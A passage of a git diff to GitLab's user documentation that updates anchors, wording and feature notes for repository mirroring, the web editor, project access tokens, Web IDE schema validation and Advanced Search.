a/doc/user/project/repository/branches/index.md +++ b/doc/user/project/repository/branches/index.md @@ -60,7 +60,7 @@ against accidental deletion and forced pushes. > - It's enabled on GitLab.com. > - It cannot be enabled or disabled per-project. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-custom-initial-branch-name-core-only). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-custom-initial-branch-name). **(CORE ONLY)** By default, when you create a new project in GitLab, the initial branch is called `master`. For self-managed instances, a GitLab administrator can customize the initial branch name to something diff --git a/doc/user/project/repository/git_blame.md b/doc/user/project/repository/git_blame.md index 6636463722e..a423f58ba21 100644 --- a/doc/user/project/repository/git_blame.md +++ b/doc/user/project/repository/git_blame.md @@ -8,7 +8,7 @@ description: "Documentation on Git file blame." # Git file blame -> [Introduced](https://git.sphere.ly/staff/publicgitlab/commit/39c657930625ddc3ac8a921f01ffc83acadce68f) in GitLab 2.5 +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/commit/39c657930625ddc3ac8a921f01ffc83acadce68f) in GitLab 2.5. [Git blame](https://git-scm.com/docs/git-blame) provides more information about every line in a file, including the last modified time, author, and diff --git a/doc/user/project/repository/gpg_signed_commits/index.md b/doc/user/project/repository/gpg_signed_commits/index.md index 5526828c969..646d708d896 100644 --- a/doc/user/project/repository/gpg_signed_commits/index.md +++ b/doc/user/project/repository/gpg_signed_commits/index.md @@ -44,7 +44,7 @@ If you don't already have a GPG key, the following steps will help you get started: 1. [Install GPG](https://www.gnupg.org/download/index.html) for your operating system. - If your Operating System has `gpg2` installed, replace `gpg` with `gpg2` in + If your operating system has `gpg2` installed, replace `gpg` with `gpg2` in the following commands. 1. Generate the private/public key pair with the following command, which will spawn a series of questions: diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md index a57806cf3ff..536cae263b8 100644 --- a/doc/user/project/repository/index.md +++ b/doc/user/project/repository/index.md @@ -190,7 +190,7 @@ updated every 15 minutes at most, so may not reflect recent activity. The displa The project size may differ slightly from one instance to another due to compression, housekeeping, and other factors. [Repository size limit](../../admin_area/settings/account_and_limit_settings.md) may be set by admins. -GitLab.com's repository size limit [is set by GitLab](../../gitlab_com/index.md#repository-size-limit). +GitLab.com's repository size limit [is set by GitLab](../../gitlab_com/index.md#account-and-limit-settings). ## Contributors diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md index 8247f69c61a..28fdda07b05 100644 --- a/doc/user/project/repository/reducing_the_repo_size_using_git.md +++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md @@ -14,11 +14,9 @@ Git repositories become larger over time. When large files are added to a Git re - Git repository storage limits [can be reached](#storage-limits). Rewriting a repository can remove unwanted history to make the repository smaller. -[`git filter-repo`](https://github.com/newren/git-filter-repo) is a tool for quickly rewriting Git -repository history, and is recommended over both: - -- [`git filter-branch`](https://git-scm.com/docs/git-filter-branch). -- [BFG](https://rtyley.github.io/bfg-repo-cleaner/). +We **recommend [`git filter-repo`](https://github.com/newren/git-filter-repo/blob/main/README.md)** +over [`git filter-branch`](https://git-scm.com/docs/git-filter-branch) and +[BFG](https://rtyley.github.io/bfg-repo-cleaner/). DANGER: **Danger:** Rewriting repository history is a destructive operation. Make sure to backup your repository before @@ -37,7 +35,7 @@ other internal references (refs) that are automatically created by GitLab. These - `refs/merge-requests/*` for merge requests. - `refs/pipelines/*` for - [pipelines](../../../ci/pipelines/index.md#troubleshooting-fatal-reference-is-not-a-tree). + [pipelines](../../../ci/troubleshooting.md#fatal-reference-is-not-a-tree-error). - `refs/environments/*` for environments. Git doesn't usually download these refs to make cloning and fetch faster, but we can use the `--mirror` option to @@ -49,7 +47,7 @@ download all the advertised refs. 1. Clone a fresh copy of the repository using `--bare` and `--mirror`: ```shell - git clone --bare --mirror https://example.gitlab.com/my/project.git + git clone --bare --mirror https://gitlab.example.com/my/project.git ``` 1. Using `git filter-repo`, purge any files from the history of your repository. @@ -252,9 +250,9 @@ When using repository cleanup, note: Repository size limits: -- Can [be set by an administrator](../../admin_area/settings/account_and_limit_settings.md#repository-size-limit-starter-only) +- Can [be set by an administrator](../../admin_area/settings/account_and_limit_settings.md#account-and-limit-settings) on self-managed instances. **(STARTER ONLY)** -- Are [set for GitLab.com](../../gitlab_com/index.md#repository-size-limit). +- Are [set for GitLab.com](../../gitlab_com/index.md#account-and-limit-settings). When a project has reached its size limit, you cannot: @@ -303,14 +301,9 @@ This process is not suitable for removing sensitive data like password or keys f Information about commits, including file content, is cached in the database, and will remain visible even after they have been removed from the repository. -<!-- ## Troubleshooting +## Troubleshooting -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. +### Incorrect repository statistics shown in the GUI -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +If the displayed size or commit number is different from the exported `.tar.gz` or local repository, +you can ask a GitLab administrator to [force an update](../../../administration/troubleshooting/gitlab_rails_cheat_sheet.md#incorrect-repository-statistics-shown-in-the-gui). diff --git a/doc/user/project/repository/repository_mirroring.md b/doc/user/project/repository/repository_mirroring.md index bbb673b74b0..e1d2c20850b 100644 --- a/doc/user/project/repository/repository_mirroring.md +++ b/doc/user/project/repository/repository_mirroring.md @@ -11,7 +11,8 @@ Repository mirroring allows for mirroring of repositories to and from external s used to mirror branches, tags, and commits between repositories. A repository mirror at GitLab will be updated automatically. You can also manually trigger an update -at most once every 5 minutes. +at most once every 5 minutes. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/237891) +for discussions on how to potentially reduce the delay. ## Overview @@ -45,6 +46,11 @@ The following are some possible use cases for repository mirroring: - You have old projects in another source that you don't use actively anymore, but don't want to remove for archiving purposes. In that case, you can create a push mirror so that your active GitLab repository can push its changes to the old location. +- You are a GitLab self-managed user for privacy reasons and your instance is closed to the public, + but you still have certain software components that you want open sourced. In this case, utilizing + GitLab to be your primary repository which is closed from the public, and using push mirroring to a + GitLab.com repository that's public, allows you to open source specific projects and contribute back + to the open source community. ## Pushing to a remote repository **(CORE)** @@ -67,7 +73,7 @@ When push mirroring is enabled, only push commits directly to the mirrored repos mirror diverging. All changes will end up in the mirrored repository whenever: - Commits are pushed to GitLab. -- A [forced update](#forcing-an-update-core) is initiated. +- A [forced update](#forcing-an-update) is initiated. Changes pushed to files in the repository are automatically pushed to the remote mirror at least: @@ -247,7 +253,7 @@ directly to the repository on GitLab. Instead, any commits should be pushed to t Changes pushed to the upstream repository will be pulled into the GitLab repository, either: - Automatically within a certain period of time. -- When a [forced update](#forcing-an-update-core) is initiated. +- When a [forced update](#forcing-an-update) is initiated. CAUTION: **Caution:** If you do manually update a branch in the GitLab repository, the branch will become diverged from @@ -393,17 +399,17 @@ failed. This will become visible in either the: - Pull mirror settings page. When a project is hard failed, it will no longer get picked up for mirroring. A user can resume the -project mirroring again by [Forcing an update](#forcing-an-update-core). +project mirroring again by [Forcing an update](#forcing-an-update). ### Trigger update using API **(STARTER)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3453) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.3. Pull mirroring uses polling to detect new branches and commits added upstream, often minutes -afterwards. If you notify GitLab by [API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project-starter), +afterwards. If you notify GitLab by [API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project), updates will be pulled immediately. -For more information, see [Start the pull mirroring process for a Project](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project-starter). +For more information, see [Start the pull mirroring process for a Project](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project). ## Forcing an update **(CORE)** @@ -425,8 +431,8 @@ them and how they will be resolved. Rewriting any mirrored commit on either remote will cause conflicts and mirroring to fail. This can be prevented by: -- [Pulling only protected branches](#only-mirror-protected-branches-starter). -- [Pushing only protected branches](#push-only-protected-branches-core). +- [Pulling only protected branches](#only-mirror-protected-branches). +- [Pushing only protected branches](#push-only-protected-branches). You should [protect the branches](../protected_branches.md) you wish to mirror on both remotes to prevent conflicts caused by rewriting history. @@ -439,13 +445,13 @@ protected branches. ### Configure a webhook to trigger an immediate pull to GitLab -Assuming you have already configured the [push](#setting-up-a-push-mirror-to-another-gitlab-instance-with-2fa-activated) and [pull](#pulling-from-a-remote-repository-starter) mirrors in the upstream GitLab instance, to trigger an immediate pull as suggested above, you will need to configure a [Push Event Web Hook](../integrations/webhooks.md#push-events) in the downstream instance. +Assuming you have already configured the [push](#setting-up-a-push-mirror-to-another-gitlab-instance-with-2fa-activated) and [pull](#pulling-from-a-remote-repository) mirrors in the upstream GitLab instance, to trigger an immediate pull as suggested above, you will need to configure a [Push Event Web Hook](../integrations/webhooks.md#push-events) in the downstream instance. To do this: - Create a [personal access token](../../profile/personal_access_tokens.md) with `API` scope. - Navigate to **Settings > Webhooks** -- Add the webhook URL which in this case will use the [Pull Mirror API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project-starter) request to trigger an immediate pull after updates to the repository. +- Add the webhook URL which in this case will use the [Pull Mirror API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project) request to trigger an immediate pull after updates to the repository. ```plaintext https://gitlab.example.com/api/v4/projects/:id/mirror/pull?private_token=<your_access_token> diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md index 452955b327c..af0daaaeca2 100644 --- a/doc/user/project/repository/web_editor.md +++ b/doc/user/project/repository/web_editor.md @@ -8,8 +8,8 @@ type: howto # GitLab Web Editor Sometimes it's easier to make quick changes directly from the GitLab interface -than to clone the project and use the Git command line tool. In this feature -highlight we look at how you can create a new file, directory, branch or +than to clone the project and use the Git command-line tool. In this feature +highlight, we look at how you can create a new file, directory, branch, or tag from the file browser. All of these actions are available from a single dropdown menu. @@ -17,13 +17,12 @@ dropdown menu. From a project's files page, click the '+' button to the right of the branch selector. Choose **New file** from the dropdown. -  -Enter a file name in the **File name** box. Then, add file content in the editor +Enter a file name in the **Filename** box. Then, add file content in the editor area. Add a descriptive commit message and choose a branch. The branch field will default to the branch you were viewing in the file browser. If you enter -a new branch name, a checkbox will appear allowing you to start a new merge +a new branch name, a checkbox will appear, allowing you to start a new merge request after you commit the changes. When you are satisfied with your new file, click **Commit Changes** at the bottom. @@ -32,14 +31,14 @@ When you are satisfied with your new file, click **Commit Changes** at the botto ### Template dropdowns -When starting a new project, there are some common files which the new project +When starting a new project, there are some common files that the new project might need too. Therefore a message will be displayed by GitLab to make this easy for you.  -When clicking on either `LICENSE` or `.gitignore`, etc., a dropdown will be displayed -to provide you with a template which might be suitable for your project. +When clicking on either `LICENSE` or `.gitignore` and so on, a dropdown will be displayed +to provide you with a template that might be suitable for your project.  @@ -56,16 +55,16 @@ least add a file in order for the button to show up. ## Upload a file The ability to create a file is great when the content is text. However, this -doesn't work well for binary data such as images, PDFs or other file types. In -this case you need to upload a file. +doesn't work well for binary data such as images, PDFs, or other file types. In +this case, you need to upload a file. From a project's files page, click the '+' button to the right of the branch selector. Choose **Upload file** from the dropdown.  -Once the upload dialog pops up there are two ways to upload your file. Either -drag and drop a file on the pop up or use the **click to upload** link. A file +Once the upload dialog pops up, there are two ways to upload your file. Either +drag and drop a file on the popup or use the **click to upload** link. A file preview will appear once you have selected a file to upload. Enter a commit message, choose a branch, and click **Upload file** when you are @@ -83,7 +82,7 @@ Choose **New directory** from the dropdown.  -In the new directory dialog enter a directory name, a commit message and choose +In the new directory dialog, enter a directory name, a commit message, and choose the target branch. Click **Create directory** to finish.  @@ -108,7 +107,7 @@ name or a referenced merge request or your project has an active fork relationship. If you would like to make this button appear, a possible workaround is to [remove your project's fork relationship](../settings/index.md#removing-a-fork-relationship). Once removed, the fork -relationship cannot be restored and you will no longer be able to send merge requests to the source. +relationship cannot be restored, and you will no longer be able to send merge requests to the source.  @@ -117,9 +116,9 @@ This dropdown contains the options **Create merge request and branch** and **Cre  Once you choose one of these options, a new branch or branch and merge request -will be created, based on the default -branch of your project, by default `master`. The branch name will be based on -the title of the issue and as a prefix, it will have its internal ID. Thus, the example +will be created based on the default +branch of your project (by default, `master`). The branch name will be based on +the title of the issue, and as a prefix, it will have its internal ID. Thus, the example screenshot above will create a branch named `2-make-static-site-auto-deploy-and-serve`. @@ -141,13 +140,13 @@ merge request is merged. ### Create a new branch from a project's dashboard If you want to make changes to several files before creating a new merge -request, you can create a new branch up front. From a project's files page, +request, you can create a new branch upfront. From a project's files page, choose **New branch** from the dropdown.  Enter a new **Branch name**. Optionally, change the **Create from** field -to choose which branch, tag or commit SHA this new branch will originate from. +to choose which branch, tag, or commit SHA this new branch will originate from. This field will autocomplete if you start typing an existing branch or tag. Click **Create branch** and you will be returned to the file browser on this new branch. @@ -155,7 +154,7 @@ branch.  You can now make changes to any files, as needed. When you're ready to merge -the changes back to master you can use the widget at the top of the screen. +the changes back to master, you can use the widget at the top of the screen. This widget only appears for a period of time after you create the branch or modify files. @@ -172,15 +171,15 @@ SHA. From a project's files page, choose **New tag** from the dropdown. Give the tag a name such as `v1.0.0`. Choose the branch or SHA from which you would like to create this new tag. You can optionally add a message and release notes. The release notes section supports Markdown format and you can -also upload an attachment. Click **Create tag** and you will be taken to the tag +also upload an attachment. Click **Create tag**, and you will be taken to the tag list page.  ## Tips -When creating or uploading a new file, or creating a new directory, you can -trigger a new merge request rather than committing directly to master. Enter +When creating or uploading a new file or creating a new directory, you can +trigger a new merge request rather than committing directly to `master`. Enter a new branch name in the **Target branch** field. You will notice a checkbox appear that is labeled **Start a new merge request with these changes**. After you commit the changes you will be taken to a new merge request form. diff --git a/doc/user/project/requirements/index.md b/doc/user/project/requirements/index.md index ae22dbc7e72..9d7d3914905 100644 --- a/doc/user/project/requirements/index.md +++ b/doc/user/project/requirements/index.md @@ -95,7 +95,7 @@ You can also sort the requirements list by: > - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/215514) ability to specify individual requirements and their statuses in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2. GitLab supports [requirements test -reports](../../../ci/pipelines/job_artifacts.md#artifactsreportsrequirements-ultimate) now. +reports](../../../ci/pipelines/job_artifacts.md#artifactsreportsrequirements) now. You can add a job to your CI pipeline that, when triggered, marks all existing requirements as Satisfied. diff --git a/doc/user/project/settings/img/cve_id_request_toggle.png b/doc/user/project/settings/img/cve_id_request_toggle.png Binary files differnew file mode 100644 index 00000000000..53ec804922c --- /dev/null +++ b/doc/user/project/settings/img/cve_id_request_toggle.png diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md index a65e48d5d56..395d4bf30c5 100644 --- a/doc/user/project/settings/index.md +++ b/doc/user/project/settings/index.md @@ -37,6 +37,9 @@ You can select a framework label to identify that your project has certain compl - SOC 2 - Service Organization Control 2 - SOX - Sarbanes-Oxley +NOTE: **Note:** +Compliance framework labels do not affect your project settings. + ### Sharing and permissions For your repository, you can set up features such as public access, repository features, @@ -75,7 +78,7 @@ Some features depend on others: - If you disable the **Issues** option, GitLab also removes the following features: - **Issue Boards** - - [**Service Desk**](#service-desk-starter) + - [**Service Desk**](#service-desk) NOTE: **Note:** When the **Issues** option is disabled, you can still access **Milestones** @@ -97,6 +100,16 @@ Some features depend on others: - Metrics dashboard access requires reading both project environments and deployments. Users with access to the metrics dashboard can also access environments and deployments. +#### Disabling the CVE ID request button + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41203) in GitLab 13.4, only for public projects on GitLab.com. + +In applicable environments, a [**Create CVE ID Request** button](../../application_security/cve_id_request.md) +is present in the issue sidebar. The button may be disabled on a per-project basis by toggling the +setting **Enable CVE ID requests in the issue sidebar**. + + + #### Disabling email notifications Project owners can disable all [email notifications](../../profile/notifications.md#gitlab-notification-emails) @@ -234,10 +247,10 @@ This action: - Deletes a project including all associated resources (issues, merge requests etc). - From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, -group admins can [configure](../../group/index.md#enabling-delayed-project-removal-premium) projects within a group +group admins can [configure](../../group/index.md#enabling-delayed-project-removal) projects within a group to be deleted after a delayed period. When enabled, actual deletion happens after number of days -specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only). +specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). CAUTION: **Warning:** The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md index cbc4895f014..57cb610a2e9 100644 --- a/doc/user/project/settings/project_access_tokens.md +++ b/doc/user/project/settings/project_access_tokens.md @@ -15,10 +15,7 @@ type: reference, howto > - It's recommended for production use. > - For GitLab self-managed instances, GitLab administrators can [disable it](#enable-or-disable-project-access-tokens). -Project access tokens are scoped to a project and can be used to authenticate with the [GitLab API](../../../api/README.md#personalproject-access-tokens). - -<!-- Commented out until https://gitlab.com/gitlab-org/gitlab/-/issues/219551 is fixed --> -<!-- You can also use project access tokens with Git to authenticate over HTTP or SSH. --> +Project access tokens are scoped to a project and can be used to authenticate with the [GitLab API](../../../api/README.md#personalproject-access-tokens). You can also use project access tokens with Git to authenticate over HTTP or SSH. Project access tokens expire on the date you define, at midnight UTC. @@ -43,7 +40,8 @@ For each project access token created, a bot user will also be created and added For the bot: - The name is set to the name of the token. -- The username is set to `project_{project_id}_bot`, such as `project_123_bot`. +- The username is set to `project_{project_id}_bot` for the first access token, such as `project_123_bot`. +- The username is set to `project_{project_id}_bot{bot_count}` for further access tokens, such as `project_123_bot1`. API calls made with a project access token are associated with the corresponding bot user. @@ -54,7 +52,8 @@ When the project access token is [revoked](#revoking-a-project-access-token) the records will be moved to a system-wide user with the username "Ghost User". For more information, see [Associated Records](../../profile/account/delete_account.md#associated-records). -Project bot users are a [GitLab-created service account](../../../subscriptions/index.md#self-managed) and do not count as a licensed seat. +Project bot users are a [GitLab-created service account](../../../subscriptions/self_managed/index.md#choose-the-number-of-users), but count as a licensed seat. +These users will not count against your licensed seat in the future when [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/223695) is resolved. ## Revoking a project access token diff --git a/doc/user/project/static_site_editor/index.md b/doc/user/project/static_site_editor/index.md index 4e401014122..ce14cefba92 100644 --- a/doc/user/project/static_site_editor/index.md +++ b/doc/user/project/static_site_editor/index.md @@ -82,7 +82,7 @@ or [create a new project from a template](../../../gitlab-basics/create-project. 1. Visit your website and look at the bottom-left corner of the screen to see the new **Edit this page** button. Anyone satisfying the [requirements](#requirements) will be able to edit the -content of the pages without prior knowledge of Git nor of your site's +content of the pages without prior knowledge of Git or of your site's codebase. NOTE: **Note:** diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md index 12ba55cafdc..821b42af049 100644 --- a/doc/user/project/web_ide/index.md +++ b/doc/user/project/web_ide/index.md @@ -53,21 +53,42 @@ If you are missing Syntax Highlighting support for any language, we prepared a s NOTE: **Note:** Single file editing is based on the [Ace Editor](https://ace.c9.io). -### Schema based validation +### Themes + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2389) in GitLab in 13.0. +> - Full Solarized Dark Theme [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219228) in GitLab 13.1. + +All the themes GitLab supports for syntax highlighting are added to the Web IDE's code editor. +You can pick a theme from your [profile preferences](../../profile/preferences.md). + +The themes are available only in the Web IDE file editor, except for the [dark theme](https://gitlab.com/gitlab-org/gitlab/-/issues/209808) and +the [solarized dark theme](https://gitlab.com/gitlab-org/gitlab/-/issues/219228), +which apply to the entire Web IDE screen. + +| Solarized Light Theme | Solarized Dark Theme | Dark Theme | +|---------------------------------------------------------------|-------------------------------------------------------------|-----------------------------------------| +|  |  |  | + +## Schema based validation -> - Support for `.gitlab-ci.yml` validation [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218472) in GitLab 13.2. +> - Support for validation based on predefined schemas [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218472) in GitLab 13.2. > - It was deployed behind a feature flag, disabled by default. > - It's enabled on GitLab.com. > - It cannot be enabled or disabled per-project. -> - For GitLab self-managed instances, GitLab administrators can opt to [enable it](#enable-or-disable-schema-based-validation-core-only). +> - For GitLab self-managed instances, GitLab administrators can opt to [enable it](#enable-or-disable-validation-based-on-predefined-schemas). +> - Support for validation based on custom schemas [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/226982) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. The Web IDE provides validation support for certain JSON and YAML files using schemas -based on the [JSON Schema Store](https://www.schemastore.org/json/). This feature is -only supported for the `.gitlab-ci.yml` file. +based on the [JSON Schema Store](https://www.schemastore.org/json/). -#### Enable or disable Schema based validation **(CORE ONLY)** +### Predefined schemas -Schema based validation is under development and not ready for production use. It is +The Web IDE has validation for certain files built in. This feature is only supported for +the `*.gitlab-ci.yml` files. + +#### Enable or disable validation based on predefined schemas **(CORE ONLY)** + +Validation based on predefined schemas is under development and not ready for production use. It is deployed behind a feature flag that is **disabled by default** for self-managed instances, [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) can enable it for your instance. @@ -84,21 +105,35 @@ To disable it: Feature.disable(:schema_linting) ``` -### Themes +### Custom schemas **(PREMIUM)** -> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2389) in GitLab in 13.0. -> - Full Solarized Dark Theme [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219228) in GitLab 13.1. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/226982) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. -All the themes GitLab supports for syntax highlighting are added to the Web IDE's code editor. -You can pick a theme from your [profile preferences](../../profile/preferences.md). +The Web IDE also allows you to define custom schemas for certain JSON/YAML files in your project. +You can do so by defining a `schemas` entry in the `.gitlab/.gitlab-webide.yml` file inside the +repository's root. Here is an example configuration: -The themes are available only in the Web IDE file editor, except for the [dark theme](https://gitlab.com/gitlab-org/gitlab/-/issues/209808) and -the [solarized dark theme](https://gitlab.com/gitlab-org/gitlab/-/issues/219228), -which apply to the entire Web IDE screen. +```yaml +schemas: + - uri: https://json.schemastore.org/package + match: + - package.json + - uri: https://somewebsite.com/first/raw/url + match: + - data/release_posts/unreleased/*.{yml,yaml} + - uri: https://somewebsite.com/second/raw/url + match: + - "*.meta.json" +``` -| Solarized Light Theme | Solarized Dark Theme | Dark Theme | -|---------------------------------------------------------------|-------------------------------------------------------------|-----------------------------------------| -|  |  |  | +Each schema entry supports two properties: + +- `uri`: please provide an absolute URL for the schema definition file here. The schema from this URL +is loaded when a matching file is open. +- `match`: a list of matching paths or glob expressions. If a schema matches a particular path pattern, +it will be applied to that file. Please enclose the pattern in quotes if it begins with an asterisk (`*`), +it's be applied to that file. If a pattern begins with an asterisk (`*`), enclose it in quotation +marks. Otherwise, the configuration file is not valid YAML. ## Configure the Web IDE @@ -236,12 +271,12 @@ below. CAUTION: **Warning:** Interactive Web Terminals for the Web IDE is currently in **Beta**. -Shared Runners [do not yet support Interactive Web Terminals](https://gitlab.com/gitlab-org/gitlab/-/issues/24674), -so you would need to use your own private Runner(s) to make use of this feature. +Shared runners [do not yet support Interactive Web Terminals](https://gitlab.com/gitlab-org/gitlab/-/issues/24674), +so you would need to use your own private runner to make use of this feature. [Interactive Web Terminals](../../../ci/interactive_web_terminal/index.md) give the project [Maintainers](../../permissions.md#project-members-permissions) -user access to a terminal to interact with the Runner directly from +user access to a terminal to interact with the runner directly from GitLab, including through the Web IDE. ### Runner configuration @@ -249,7 +284,7 @@ GitLab, including through the Web IDE. Some things need to be configured in the runner for the interactive web terminal to work: -- The Runner needs to have +- The runner needs to have [`[session_server]` configured properly](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section). This section requires at least a `session_timeout` value (which defaults to 1800 seconds) and a `listen_address` value. If `advertise_address` is not defined, `listen_address` is used. @@ -346,7 +381,7 @@ environment. NOTE: **Note:** Only file changes in the Web IDE are synced to the terminal. Changes made in the terminal are **not** synced to the Web IDE. -This feature is only available for Kubernetes Runners. +This feature is only available for Kubernetes runners. To enable file syncing to the web terminal, the `.gitlab/.gitlab-webide.yml` file needs to have a `webide-file-sync` service configured. Here is an example @@ -373,7 +408,7 @@ terminal: more information. - `$CI_PROJECT_DIR` is a [predefined environment variable](../../../ci/variables/predefined_variables.md) - for GitLab Runners. This is where your project's repository will be. + for GitLab Runner. This is where your project's repository will be. Once you have configured the web terminal for file syncing, then when the web terminal is started, a **Terminal** status will be visible in the status bar. diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md index 5503cd97628..40ef5e216fd 100644 --- a/doc/user/project/wiki/index.md +++ b/doc/user/project/wiki/index.md @@ -165,7 +165,7 @@ Similar to versioned diff file views, you can see the changes made in a given Wi > - Git events were [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216014) in **GitLab 13.0.** > - It's enabled on GitLab.com. > - Git access activity creation is managed by a feature flag. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-wiki-events-in-git-core-only). **(CORE ONLY)** +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-wiki-events-in-git). **(CORE ONLY)** Wiki events (creation, deletion, and updates) are tracked by GitLab and displayed on the [user profile](../../profile/index.md#user-profile), diff --git a/doc/user/search/advanced_global_search.md b/doc/user/search/advanced_global_search.md index 820d66e4cd6..53ec8b35631 100644 --- a/doc/user/search/advanced_global_search.md +++ b/doc/user/search/advanced_global_search.md @@ -5,12 +5,12 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Advanced Global Search **(STARTER)** +# Advanced Search **(STARTER)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109) in GitLab [Starter](https://about.gitlab.com/pricing/) 8.4. NOTE: **GitLab.com availability:** -Advanced Global Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10. +Advanced Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10. Leverage Elasticsearch for faster, more advanced code search across your entire GitLab instance. @@ -20,7 +20,7 @@ visit the [administrator documentation](../../integration/elasticsearch.md). ## Overview -The Advanced Global Search in GitLab is a powerful search service that saves +The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other projects that can help your own project. @@ -39,12 +39,15 @@ searching in: ## Use cases -The Advanced Global Search can be useful in various scenarios. +The Advanced Search can be useful in various scenarios. ### Faster searches If you are dealing with huge amount of data and want to keep GitLab's search -fast, the Advanced Global Search will help you achieve that. +fast, Advanced Search will help you achieve that. + +NOTE: **Note:** +Between versions 12.10 and 13.4, Advanced Search response times have improved by 80%. ### Promote innersourcing @@ -58,13 +61,13 @@ throughout the GitLab instance and find the code they search for. Just use the search as before and GitLab will show you matching code from each project you have access to. - + -You can also use the [Advanced Syntax Search](advanced_search_syntax.md) which +You can also use the [Advanced Search Syntax](advanced_search_syntax.md) which provides some useful queries. NOTE: **Note:** Elasticsearch has only data for the default branch. That means that if you go to the repository tree and switch the branch from the default to something else, -then the "Code" tab in the search result page will be served by the regular +then the "Code" tab in the search result page will be served by the basic search even if Elasticsearch is enabled. diff --git a/doc/user/search/advanced_search_syntax.md b/doc/user/search/advanced_search_syntax.md index d8fce3223ed..804d4c540ac 100644 --- a/doc/user/search/advanced_search_syntax.md +++ b/doc/user/search/advanced_search_syntax.md @@ -5,12 +5,12 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Advanced Syntax Search **(STARTER)** +# Advanced Search Syntax **(STARTER)** > - Introduced in [GitLab Enterprise Starter](https://about.gitlab.com/pricing/) 9.2 NOTE: **GitLab.com availability:** -Advanced Global Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10. +Advanced Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10. Use advanced queries for more targeted search results. @@ -19,11 +19,11 @@ visit the [administrator documentation](../../integration/elasticsearch.md). ## Overview -The Advanced Syntax Search is a subset of the -[Advanced Global Search](advanced_global_search.md), which you can use if you +The Advanced Search Syntax is a subset of the +[Advanced Search](advanced_global_search.md), which you can use if you want to have more specific search results. -Advanced Global Search only supports searching the [default branch](../project/repository/branches/index.md#default-branch). +Advanced Search only supports searching the [default branch](../project/repository/branches/index.md#default-branch). ## Use cases @@ -38,26 +38,26 @@ not so sure. In that case, using the advanced search syntax in your query will yield much better results. -## Using the Advanced Syntax Search +## Using the Advanced Search Syntax -The Advanced Syntax Search supports fuzzy or exact search queries with prefixes, +The Advanced Search Syntax supports fuzzy or exact search queries with prefixes, boolean operators, and much more. Full details can be found in the [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/reference/5.3/query-dsl-simple-query-string-query.html#_simple_query_string_syntax), but here's a quick guide: - Searches look for all the words in a query, in any order - e.g.: searching - issues for `display bug` will return all issues matching both those words, in any order. -- To find the exact phrase (stemming still applies), use double quotes: `"display bug"` -- To find bugs not mentioning display, use `-`: `bug -display` -- To find a bug in display or sound, use `|`: `bug display | sound` -- To group terms together, use parentheses: `bug | (display +sound)` -- To match a partial word, use `*`: `bug find_by_*` -- To find a term containing one of these symbols, use `\`: `argument \-last` + issues for [`display 